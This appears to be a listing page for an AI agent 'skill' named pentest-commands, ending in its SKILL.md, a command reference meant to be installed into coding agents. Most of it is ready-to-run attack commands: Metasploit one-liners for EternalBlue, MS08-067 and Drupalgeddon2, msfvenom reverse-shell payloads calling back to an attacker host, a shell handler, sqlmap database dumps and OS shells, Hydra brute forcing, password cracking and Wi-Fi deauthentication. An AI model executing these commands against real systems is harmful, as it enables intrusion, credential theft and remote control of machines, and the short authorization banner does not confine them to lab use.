pentest-commands
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
Best use case
pentest-commands is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
Teams using pentest-commands should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/pentest-commands/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How pentest-commands Compares
| Feature / Agent | pentest-commands | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # Pentest Commands ## Purpose Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments. ## Inputs/Prerequisites - Kali Linux or penetration testing distribution - Target IP addresses with authorization - Wordlists for brute forcing - Network access to target systems - Basic understanding of tool syntax ## Outputs/Deliverables - Network enumeration results - Identified vulnerabilities - Exploitation payloads - Cracked credentials - Web vulnerability findings ## Core Workflow ### 1. Nmap Commands **Host Discovery:** ```bash # Ping sweep nmap -sP 192.168.1.0/24 # List IPs without scanning nmap -sL 192.168.1.0/24 # Ping scan (host discovery) nmap -sn 192.168.1.0/24 ``` **Port Scanning:** ```bash # TCP SYN scan (stealth) nmap -sS 192.168.1.1 # Full TCP connect scan nmap -sT 192.168.1.1 # UDP scan nmap -sU 192.168.1.1 # All ports (1-65535) nmap -p- 192.168.1.1 # Specific ports nmap -p 22,80,443 192.168.1.1 ``` **Service Detection:** ```bash # Service versions nmap -sV 192.168.1.1 # OS detection nmap -O 192.168.1.1 # Comprehensive scan nmap -A 192.168.1.1 # Skip host discovery nmap -Pn 192.168.1.1 ``` **NSE Scripts:** ```bash # Vulnerability scan nmap --script vuln 192.168.1.1 # SMB enumeration nmap --script smb-enum-shares -p 445 192.168.1.1 # HTTP enumeration nmap --script http-enum -p 80 192.168.1.1 # Check EternalBlue nmap --script smb-vuln-ms17-010 192.168.1.1 # Check MS08-067 nmap --script smb-vuln-ms08-067 192.168.1.1 # SSH brute force nmap --script ssh-brute -p 22 192.168.1.1 # FTP anonymous nmap --script ftp-anon 192.168.1.1 # DNS brute force nmap --script dns-brute 192.168.1.1 # HTTP methods nmap -p80 --script http-methods 192.168.1.1 # HTTP headers nmap -p80 --script http-headers 192.168.1.1 # SQL injection check nmap --script http-sql-injection -p 80 192.168.1.1 ``` **Advanced Scans:** ```bash # Xmas scan nmap -sX 192.168.1.1 # ACK scan (firewall detection) nmap -sA 192.168.1.1 # Window scan nmap -sW 192.168.1.1 # Traceroute nmap --traceroute 192.168.1.1 ``` ### 2. Metasploit Commands **Basic Usage:** ```bash # Launch Metasploit msfconsole # Search for exploits search type:exploit name:smb # Use exploit use exploit/windows/smb/ms17_010_eternalblue # Show options show options # Set target set RHOST 192.168.1.1 # Set payload set PAYLOAD windows/meterpreter/reverse_tcp # Run exploit exploit ``` **Common Exploits:** ```bash # EternalBlue msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit" # MS08-067 (Conficker) msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit" # vsftpd backdoor msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit" # Shellshock msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit" # Drupalgeddon2 msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit" # PSExec msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit" ``` **Scanners:** ```bash # TCP port scan msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run" # SMB version scan msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run" # SMB share enumeration msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run" # SSH brute force msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run" # FTP brute force msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run" # RDP scanning msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run" ``` **Handler Setup:** ```bash # Multi-handler for reverse shells msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit" ``` **Payload Generation (msfvenom):** ```bash # Windows reverse shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe # Linux reverse shell msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf # PHP reverse shell msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php # ASP reverse shell msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp # WAR file msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war # Python payload msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py ``` ### 3. Nikto Commands ```bash # Basic scan nikto -h http://192.168.1.1 # Comprehensive scan nikto -h http://192.168.1.1 -C all # Output to file nikto -h http://192.168.1.1 -output report.html # Plugin-based scans nikto -h http://192.168.1.1 -Plugins robots nikto -h http://192.168.1.1 -Plugins shellshock nikto -h http://192.168.1.1 -Plugins heartbleed nikto -h http://192.168.1.1 -Plugins ssl # Export to Metasploit nikto -h http://192.168.1.1 -Format msf+ # Specific tuning nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only ``` ### 4. SQLMap Commands ```bash # Basic injection test sqlmap -u "http://192.168.1.1/page?id=1" # Enumerate databases sqlmap -u "http://192.168.1.1/page?id=1" --dbs # Enumerate tables sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables # Dump table sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump # OS shell sqlmap -u "http://192.168.1.1/page?id=1" --os-shell # POST request sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test" # Cookie injection sqlmap -u "http://192.168.1.1/page" --cookie="id=1*" # Bypass WAF sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment # Risk and level sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5 ``` ### 5. Hydra Commands ```bash # SSH brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1 # FTP brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1 # HTTP POST form hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" # HTTP Basic Auth hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/ # SMB brute force hydra -l admin -P passwords.txt smb://192.168.1.1 # RDP brute force hydra -l admin -P passwords.txt rdp://192.168.1.1 # MySQL brute force hydra -l root -P passwords.txt mysql://192.168.1.1 # Username list hydra -L users.txt -P passwords.txt ssh://192.168.1.1 ``` ### 6. John the Ripper Commands ```bash # Crack password file john hash.txt # Specify wordlist john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # Show cracked passwords john hash.txt --show # Specify format john hash.txt --format=raw-md5 john hash.txt --format=nt john hash.txt --format=sha512crypt # SSH key passphrase ssh2john id_rsa > ssh_hash.txt john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # ZIP password zip2john file.zip > zip_hash.txt john zip_hash.txt ``` ### 7. Aircrack-ng Commands ```bash # Monitor mode airmon-ng start wlan0 # Capture packets airodump-ng wlan0mon # Target specific network airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # Deauth attack aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon # Crack WPA handshake aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap ``` ### 8. Wireshark/Tshark Commands ```bash # Capture traffic tshark -i eth0 -w capture.pcap # Read capture file tshark -r capture.pcap # Filter by protocol tshark -r capture.pcap -Y "http" # Filter by IP tshark -r capture.pcap -Y "ip.addr == 192.168.1.1" # Extract HTTP data tshark -r capture.pcap -Y "http" -T fields -e http.request.uri ``` ## Quick Reference ### Common Port Scans ```bash # Quick scan nmap -F 192.168.1.1 # Full comprehensive nmap -sV -sC -A -p- 192.168.1.1 # Fast with version nmap -sV -T4 192.168.1.1 ``` ### Password Hash Types | Mode | Type | |------|------| | 0 | MD5 | | 100 | SHA1 | | 1000 | NTLM | | 1800 | sha512crypt | | 3200 | bcrypt | | 13100 | Kerberoast | ## Constraints - Always have written authorization - Some scans are noisy and detectable - Brute forcing may lock accounts - Rate limiting affects tools ## Examples ### Example 1: Quick Vulnerability Scan ```bash nmap -sV --script vuln 192.168.1.1 ``` ### Example 2: Web App Test ```bash nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs ``` ## Troubleshooting | Issue | Solution | |-------|----------| | Scan too slow | Increase timing (-T4, -T5) | | Ports filtered | Try different scan types | | Exploit fails | Check target version compatibility | | Passwords not cracking | Try larger wordlists, rules | ## When to Use This skill is applicable to execute the workflow or actions described in the overview.
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